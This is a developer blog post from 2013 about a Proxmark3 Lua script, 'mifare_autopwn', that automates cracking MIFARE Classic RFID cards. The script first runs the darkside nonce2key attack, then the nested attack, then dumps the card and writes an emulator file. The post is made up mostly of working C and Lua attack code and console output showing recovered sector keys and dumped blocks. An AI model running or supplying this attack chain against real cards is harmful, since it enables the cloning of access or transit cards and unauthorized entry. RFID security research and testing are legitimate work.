Implementing mifare crack in Lua

This part turned out to be a bit messy. Many pm3-commands does not do much on the host-side, basically just create a data structure with instructions for the device and sends it off. The hf mf mifare is a bit more complicated, since it involves some crapto1-state-calculation wizardry.

This is what it looks like on the C-side, cmdhfmf.c:

int CmdHF14AMifare(const char *Cmd)
{
        uint32_t uid = 0;
        uint32_t nt = 0, nr = 0;
        uint64_t par_list = 0, ks_list = 0, r_key = 0;
        uint8_t isOK = 0;
        uint8_t keyBlock[8] = {0};

        UsbCommand c = {CMD_READER_MIFARE, {true, 0, 0};

        // message
        printf("-------------------------------------------------------------------------\n");
        printf("Executing command. Expected execution time: 25sec on average  :-)\n");
        printf("Press the key on the proxmark3 device to abort both proxmark3 and client.\n");
        printf("-------------------------------------------------------------------------\n");

        
start:
    clearCommandBuffer();
    SendCommand(&c);
        
        //flush queue
        while (ukbhit())        getchar();

        
        // wait cycle
        while (true) {
        printf(".");
                fflush(stdout);
                if (ukbhit()) {
                        getchar();
                        printf("\naborted via keyboard!\n");
                        break;
                }
                
                UsbCommand resp;
                if (WaitForResponseTimeout(CMD_ACK,&resp,1000)) {
                        isOK  = resp.arg[0] & 0xff;
                        uid = (uint32_t)bytes_to_num(resp.d.asBytes +  0, 4);
                        nt =  (uint32_t)bytes_to_num(resp.d.asBytes +  4, 4);
                        par_list = bytes_to_num(resp.d.asBytes +  8, 8);
                        ks_list = bytes_to_num(resp.d.asBytes +  16, 8);
                        nr = bytes_to_num(resp.d.asBytes + 24, 4);
                        printf("\n\n");
                        if (!isOK) PrintAndLog("Proxmark can't get statistic info. Execution aborted.\n");
                        break;
                }
        }       

        printf("\n");
        
        // error
        if (isOK != 1) return 1;
        
        // execute original function from util nonce2key
        if (nonce2key(uid, nt, nr, par_list, ks_list, &r_key))
        {
                isOK = 2;
                PrintAndLog("Key not found (lfsr_common_prefix list is null). Nt=%08x", nt);    
        } else {
                printf("------------------------------------------------------------------\n");
                PrintAndLog("Key found:%012"llx" \n", r_key);

                num_to_bytes(r_key, 6, keyBlock);
                isOK = mfCheckKeys(0, 0, 1, keyBlock, &r_key);
        }
        if (!isOK) 
                PrintAndLog("Found valid key:%012"llx, r_key);
        else
        {
                if (isOK != 2) PrintAndLog("Found invalid key. ");      
                PrintAndLog("Failing is expected to happen in 25%% of all cases. Trying again with a different reader nonce...");
                c.arg[0] = false;
                goto start;
        }
        
        return 0;
}

I decided to redo that in Lua, but without the goto-stuff.

function mfcrack()
	core.clearCommandBuffer()
	-- Build the mifare-command
	local cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 1}
	
	local retry = true
	while retry do
		core.SendCommand(cmd:getBytes())
		local key, errormessage = mfcrack_inner()
		-- Success?
		if key then return key end
		-- Failure? 
		if errormessage then return nil, errormessage end
		-- Try again..set arg1 to 0 this time. 

		cmd = Command:new{cmd = cmds.CMD_READER_MIFARE, arg1 = 0}
	end	
	return nil, "Aborted by user"
end

function mfcrack_inner()
    while not core.ukbhit() do      
        local result = core.WaitForResponseTimeout(cmds.CMD_ACK,1000)
        if result then
            -- Unpacking the three arg-parameters
            local count,cmd,isOK = bin.unpack('LL',result)

            if isOK ~= 1 then return nil, "Error occurred" end


            -- The data-part is left
            -- Starts 32 bytes in, at byte 33
            local data = result:sub(33)

            -- A little helper
            local get = function(num)
                local x = data:sub(1,num)
                data = data:sub(num+1)
                return x
            end

            local uid,nt,pl = get(4),get(4),get(8)
            local ks,nr = get(8),get(4)

            local status, key = core.nonce2key(uid,nt, nr, pl,ks)
            if not status then return status,key end

            if status > 0 then 
                print("Key not found (lfsr_common_prefix problem)")
                -- try again
                return nil,nil
            else
                return key
            end
        end
    end
    return nil, "Aborted by user"
end

While implementing this, I noticed that as of r786, the nonce2key utility validates key candidates using hf mf chk, thus removing the necessity for the caller to do that (thus, currently done twice in hf mf mifare).

Another thing worth mentioning here is the use of the bin library. In Lua, you basically treat binary data as strings. Lua strings can contain binary data, so when reading and writing low-level data, some help is often needed.

For example, creating the binary string 0xDEADBEEF can be done in these two ways:

x = "\xDE\xAD\xBE\xEF"
x = bin.pack("H","DEADBEEF")

The latter is a bit more simple. The bin-package comes from Luiz Henrique de Figueiredo, and documentationwise you can look at Nmap for the luadoc (the pm3-wiki is not yet updated with Luadoc).

In the example above, I use “LL” as format string, which means that I want to unpack two “unsigned long (8-byte unsigned integer)”:

local count,cmd,isOK = bin.unpack('LL',result)

The first return value, count is the position at which unpacking stopped, whereas cmd,isOK gets set by the two return values generated by the format string - two 8-byte unsigned integers.

This little thing is a closure, a function which ‘encloses’ the data and is nice to have sometimes.

Adding C-functionality

As I noted above, there were six functions from the pm3 c-code that were exposed to the Lua layer.

  • core.SendCommand - sends a command to the device
  • core.WaitForResponseTimeout - waits for a response from the device
  • core.foobar - just for testing
  • core.ukbhit - Utility to check if a key has been pressed by the user. This method does not block.
  • core.clearCommandBuffer - Clears any previous commands from the device which has not been handled.
  • core.console - Allows the lua-side to invoke command via the console-syntax, e.g. core.console('hf mf nested 1 0 a FFFFFFFFFFFF')

As you can see above, I call the function core.nonce2key(uid,nt, nr, pl,ks). So, naturally, I had to expose that aswell. Let’s see how that was done.

OBS: You don’t have to know this just in order to develop scripts, but it is good to be aware that you dont have to re-implement existing functionality all the time - it is not very difficult to just hook into an existing function already implemented in C.

So, first of all, I opened scripting.c here and added an entry to the already existing api:

int set_pm3_libraries(lua_State *L)
{

    static const luaL_Reg libs[] = {
        {"SendCommand",                 l_SendCommand},
        {"WaitForResponseTimeout",      l_WaitForResponseTimeout},
        {"nonce2key",                   l_nonce2key},
 

Then I defined the function itself:

static int l_nonce2key(lua_State *L){

    size_t size;
    const char *p_uid = luaL_checklstring(L, 1, &size);
    if(size != 4)  return returnToLuaWithError(L,"Wrong size of uid, got %d bytes, expected 4", (int) size);

    const char *p_nt = luaL_checklstring(L, 2, &size);
    if(size != 4)  return returnToLuaWithError(L,"Wrong size of nt, got %d bytes, expected 4", (int) size);

    const char *p_nr = luaL_checklstring(L, 3, &size);
    if(size != 4)  return returnToLuaWithError(L,"Wrong size of nr, got %d bytes, expected 4", (int) size);

    const char *p_par_info = luaL_checklstring(L, 4, &size);
    if(size != 8)  return returnToLuaWithError(L,"Wrong size of par_info, got %d bytes, expected 8", (int) size);

    const char *p_pks_info = luaL_checklstring(L, 5, &size);
    if(size != 8)  return returnToLuaWithError(L,"Wrong size of ks_info, got %d bytes, expected 8", (int) size);


    uint32_t uid = bytes_to_num(( uint8_t *)p_uid,4);
    uint32_t nt = bytes_to_num(( uint8_t *)p_nt,4);

    uint64_t nr = bytes_to_num(( uint8_t*)p_nr,8);
    uint64_t par_info = bytes_to_num(( uint8_t *)p_par_info,8);
    uint64_t ks_info = bytes_to_num(( uint8_t *)p_pks_info,8);

    uint64_t key = 0;

    int retval = nonce2key(uid,nt, nr, par_info,ks_info, &key);

    //Push the retval on the stack
    lua_pushinteger(L,retval);
    //Push the key onto the stack
    lua_pushlstring(L,(const char *) &key,sizeof(key));

    return 2; //Two return values
}

This one is actually more complex than they usually are, but that’s just because of some data conversion and validation. The main things here are that you obtain the parameters from lua via luaL_checklstring or similar methods, and push returnvalues onto the Lua stack using lua_pushinteger, lua_pushlstring and similar methods. And, last but not least, return the number of return values that you have (the number of pushes you’ve made to the stack).

Committed as r807.

Ok, that was a tangent. Continuing. Does it work?

proxmark3> script run mifare_autopwn 
--- Executing: ./scripts/mifare_autopwn.lua, args''
Card found, commencing crack	92C0456B

uid(92c0456b) nt(73294ab7) par(a3fbfb537343eb7b) ks(070608090e060a02)

          
|diff|{nr}    |ks3|ks3^5|parity         |
+----+--------+---+-----+---------------+
| 00 |00000000| 7 |  2  |1,1,0,0,0,1,0,1|
| 20 |00000020| 6 |  3  |1,1,0,1,1,1,1,1|
| 40 |00000040| 8 |  d  |1,1,0,1,1,1,1,1|
| 60 |00000060| 9 |  c  |1,1,0,0,1,0,1,0|
| 80 |00000080| e |  b  |1,1,0,0,1,1,1,0|
| a0 |000000a0| 6 |  3  |1,1,0,0,0,0,1,0|
| c0 |000000c0| a |  f  |1,1,0,1,0,1,1,1|
| e0 |000000e0| 2 |  7  |1,1,0,1,1,1,1,0|
key_count:1
Key 	FFFFFFFFFFFF

-----Finished

Fine and dandy so far. The next part should be simpler.

Nested

So, at this point, we have one valid key (A) to block 0. Now we need to take that key and use it in the nested attack to obtain the rest. Now, we can use the console API thingy:

function nested(key)
	local cmd = string.format("hf mf nested 1 0 A %s d",key)
	core.console(cmd)
end

This will create the dumpfile dumpfile.bin. Done.

Dump

The next stage is to dump the contents. To do that, all we have to do is call hf mf dump:

function dump()
	core.console("hf mf dump")
end

In addition, let’s create the html-dump and a dump for the emulator while we’re at it:

function dump(uid)
	core.console("hf mf dump")
	-- Save the global args, those are *our* arguments
	local myargs = args
	-- Set the arguments for htmldump script
	args =("-o %s.html"):format(uid)
	-- call it 
	require('../scripts/htmldump')

	args =""
	-- dump to emulator
	require('../scripts/dumptoemul')
	-- Set back args. Not that it's used, just for the karma... 
	args = myargs
end

Result

And, in the end, here’s the (abbreviated) output when running the script:

proxmark3> script run mifare_autopwn
--- Executing: ./scripts/mifare_autopwn.lua, args''
Card found, commencing crack    92C0456B

uid(92c0456b) nt(21439479) par(7be3631bb33b9b23) ks(01050303070b0404) nr(00000000)

          
|diff|{nr}    |ks3|ks3^5|parity         |
+----+--------+---+-----+---------------+
| 00 |00000000| 1 |  4  |1,1,0,1,1,1,1,0|
| 20 |00000020| 5 |  0  |1,1,0,0,0,1,1,1|
| 40 |00000040| 3 |  6  |1,1,0,0,0,1,1,0|
| 60 |00000060| 3 |  6  |1,1,0,1,1,0,0,0|
| 80 |00000080| 7 |  2  |1,1,0,0,1,1,0,1|
| a0 |000000a0| b |  e  |1,1,0,1,1,1,0,0|
| c0 |000000c0| 4 |  1  |1,1,0,1,1,0,0,1|
| e0 |000000e0| 4 |  1  |1,1,0,0,0,1,0,0|
key_count:1
Key     FFFFFFFFFFFF
--block no:00 key type:00 key:ff ff ff ff ff ff  etrans:0          
Block shift=0          
Testing known keys. Sector count=16          
nested...          
Time in nested: 10.000 (inf sec per key)

-----------------------------------------------
Iterations count: 0

          
|---|----------------|---|----------------|---|          
|sec|key A           |res|key B           |res|          
|---|----------------|---|----------------|---|          
|000|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|001|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|002|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|003|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|004|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|005|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|006|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|007|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|008|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|009|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|010|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|011|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|012|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|013|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|014|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|015|  ffffffffffff  | 1 |  ffffffffffff  | 1 |          
|---|----------------|---|----------------|---|          
Printing keys to bynary file dumpkeys.bin...          
|-----------------------------------------|          
|------ Reading sector access bits...-----|          
|-----------------------------------------|          
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
#db# READ BLOCK FINISHED                 
|-----------------------------------------|          
|----- Dumping all blocks to file... -----|          
|-----------------------------------------|          
#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
#db# READ BLOCK FINISHED                 

[... removed for brevity ...] 

#db# READ BLOCK FINISHED                 
Dumped card data into 'dumpdata.bin'          
Wrote a HTML dump to the file 92C0456B.html
Wrote an emulator-dump to the file 92C0456B.eml

ERROR:  Aborted by user

The script stops when a key is pressed, thus the “ERROR: Aborted by user” - message.

Conclusion

And with that, we’re pretty much finished, having automated the entire hack. A few improvements could be done, for example, instead of doing hf mf mifare we could begin by checking default keys. And perhaps also modifying that functionality to stop after one successfull key/sector, since we probably want to do nested afterwards anyway, in order to be sure we get all keys.

Committed as r809

2013-10-08

tweets

favorites